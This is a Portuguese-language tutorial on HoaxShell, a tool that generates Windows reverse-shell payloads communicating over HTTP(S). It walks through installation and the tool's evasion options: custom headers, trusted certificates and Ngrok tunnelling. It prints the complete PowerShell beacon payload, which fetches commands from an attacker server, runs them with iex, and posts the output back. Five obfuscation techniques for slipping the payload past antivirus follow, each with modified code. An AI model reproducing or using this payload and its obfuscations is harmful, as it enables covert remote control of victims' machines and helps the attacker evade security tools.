HoaxShell - Reverse Shell

Definição: Hoaxshell é um gerador e manipulador de payloads de shell reversa para Windows que abusa do protocolo http(s) para estabelecer uma shell reversa no estilo beacon, baseado no seguinte conceito:

Hoaxshell
  1. Hoaxshell cmd-line interface: o atacante digita um comando na interface de linha de comando (cmd) do Hoaxshell;

  2. Issued command is web hosted via web hosted via hoaxshell's http(s) server: esse comando é disponibilizado através do servidor HTTP(S) embutido do Hoaxshell, que roda na máquina do atacante;

  3. Victim machine polls the server: a máquina da vítima, que está executando o payload do Hoaxshell, envia uma requisição HTTP GET ao servidor do atacante a cada X segundos (por padrão, a cada 0,8 segundos) para verificar se há novos comandos;

  4. If a command is found in the response: a máquina da vitima executa o comando e envia o resultado da execução de volta ao atacante por meio de uma requisição HTPP POST para o servidor Hoaxshell.

Usando apenas trafego HTTP(S), essa comunicação imita o trafego normal da web, o que ajuda a burlar firewalls e evitar a detecção de antivirus e outras ferramentas de segurança.

O conceito de c2 (command and controle, que poderia ser implementado usando protocolos além de http ou executáveis pre-instalados) pode ser usado para estabelecer sessões que promovem a ilusão se ter um shell, mas que estão longe de ser um verdadeiro pty (pseudo-terminal).

HoaxShell teve um bom desempenho contra softwares antivírus. Embora agora ele seja geralmente detectado, é fácil ofuscar os payloads gerados usando ferramentas automatizadas ou manualmente.

Instalação

Instala o script hoaxshell e concede permissão de execução:

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Utilização

Quando você executa o hoaxshell, ele gera automaticamente um payload em PowerShell para você copiar e injetar na vítima. Por padrão, o payload é codificado em base64 para maior comodidade. Se você precisar do payload em formato bruto (sem codificação), execute o comando rawpayload no prompt ou inicie o hoaxshell com o argumento -r.

Após o payload ser executado na máquina da vítima, você poderá executar comandos PowerShell nela.

Payload que utiliza Invoke-Expression (default):

sudo python3 hoaxshell.py -s <your_ip>

Uso recomendado para evitar detecção (conexões http): o Hoaxshell utiliza um cabeçalho HTTP para transferir informações da sessão de shell. Por padrão, esse cabeçalho recebe um nome aleatório, o que pode ser detectado por regras de antivírus baseadas em expressões regulares (regex). Use a opção -H para fornecer um nome de cabeçalho HTTP padrão ou personalizado e assim evitar a detecção.

sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

Sessão de shell criptografada com um certificado confiável: se você possui um domínio, use esta opção para gerar um payload https mais curto e menos detectável, fornecendo seu DN com a opção -s junto com um certificado confiável (-c cert.pem -k privkey.pem).

sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>

Modo de captura de sessão: caso você feche o terminal acidentalmente, tenha uma queda de energia ou algo do tipo, você pode iniciar o hoaxshell em modo de captura de sessão. Ele tentará restabelecer a sessão, desde que o payload ainda esteja em execução na máquina da vítima.

sudo python3 hoaxshell.py -s <your_ip> -g

Certifique-se de iniciar o hoaxshell com as mesmas configurações da sessão que você está tentando restaurar (http/https, porta, etc.).

Sessão de shell via HTTPS usando ferramentas de tunelamento: utilize programas de tunelamento como Ngrok ou LocalTunnel para obter sessões através de túneis seguros, superando problemas como não ter um IP estático ou o seu provedor de internet (ISP) bloquear o redirecionamento de portas (Port-Forwarding).

Utilize -ng ou --ngrok para servidor Ngrok:

sudo python3 hoaxshell.py -ng

Utilize -lt ou --localtunnel para servidor LocalTunnel:

sudo python3 hoaxshell.py -lt

Limitações

O shell vai travar se você executar um comando que inicie uma sessão interativa.

# esse comando vai executar com sucesso: 
powershell echo 'This is a test'

# mas esse vai abrir uma sessão interativa dentro da sessão do hoaxshell o que vai fazer o shell quebrar:
powershell

# da mesma forma, voce não terà problemas executando isso:
cmd /c dir /a

# mas isso vai fazer o hoaxshell travar:
cmd.exe

Em resumo, você precisa ter cuidado para não executar um .exe ou comando que inicie uma sessão interativa dentro do contexto do PowerShell do Hoaxshell.

Ofuscação

Para realizar a ofuscação do payload, é necessário primeiro gerar o payload raw do Hoaxshell:

sudo python3 hoaxshell.py -s 127.0.0.1 -r -H "Authorization"

Você deverá ver uma saída semelhante a esta:

$s='127.0.0.1:8080';$i='4afac2ae-ac41bbb7-13fa1396';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/4afac2ae -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/ac41bbb7 -Headers @{"Authorization"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/13fa1396 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

Técnica 1: utilizar interpolação de strings:

$s='127'+'.0.0'+'.1:80'+'80';$i='4afac2ae-ac41bb'+''+''+'b7-13fa1396'; ...

Técnica 2: o PowerShell permite a execução de comandos entre aspas:

# esse comando executad
pwd

# esse também exutada
p'w'd

Dessa forma, podemos modificar os comandos nos payloads para contribuir com a ofuscação:

$s='127.0.0.1:8080';$i='4afac2ae-ac41bbb7-13fa1396';$p='http://';$v=In'vo'ke-We'bR'eq'ue'st -UseBasicParsing -Uri $p$s/4afac2ae -Headers @{"Authorization"=$i};while ($true){$c=(In'vo'ke-We'bR'equ'es't -UseBasicParsing -Uri $p$s/ac41bbb7 -Headers @{"Authorization"=$i}).Content;if ($c -ne 'None') {$r=i'e'x $c -ErrorAction Stop -ErrorVariable e;$r=Out-String ...

Técnica 3: utilizar variáveis no lugar de strings para dificultar a detecção:

$xxxx='None'$s='127.0.0.1:8080';$i='4afac2ae-ac41bbb7-13fa1396';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/4afac2ae -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/ac41bbb7 -Headers @{"Authorization"=$i}).Content;if ($c -ne $xxxx) ...

Técnica 4: alterar os valores de templates de string diretamente no código:

Primeiro, é necessário modificar o script que gera o payload para utilizar a nova variável:

nano http_payload.ps1

Payload original:

$s='*SERVERIP*';$i='*SESSIONID*';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*}

Payload modificado:

$s='*SERVERIP*';$i='*SESSIONID*';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/*VERIFY* -Headers @{"*HOAXID*"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i}).Content;if ($c -ne 'HawkSec') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*}

Acesse o arquivo hoaxshell.py, localize a string None e substitua por HawkSec:

...
else:
	self.wfile.write(bytes('HawkSec', "utf-8"))

...

Ao gerar um novo payload, o template de string None será substituído pelo valor definido durante a edição do template de payload.

$s='127.0.0.1:8080';$i='6111e500-00923cb4-6db6b553';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/6111e500 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/00923cb4 -Headers @{"Authorization"=$i}).Content;if ($c -ne 'HawkSec') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/6db6b553 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

Técnica 5: substituir variáveis pelos seus respectivos valores:

Neste caso, a variável $i é utilizada em vários pontos e pode ser substituída pelo seu valor correspondente.

$s='127.0.0.1:8080';$i='3be6c98f-20b0058e-105caf2c';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/3be6c98f -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/20b0058e -Headers @{"Authorization"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/105caf2c -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

Payload após a substituição:

$s='127.0.0.1:8080';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/3be6c98f -Headers @{"Authorization"='3be6c98f-20b0058e-105caf2c';while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/20b0058e -Headers @{"Authorization"='3be6c98f-20b0058e-105caf2c'}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/105caf2c -Method POST -Headers @{"Authorization"='3be6c98f-20b0058e-105caf2c'} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

Referências

Atualizado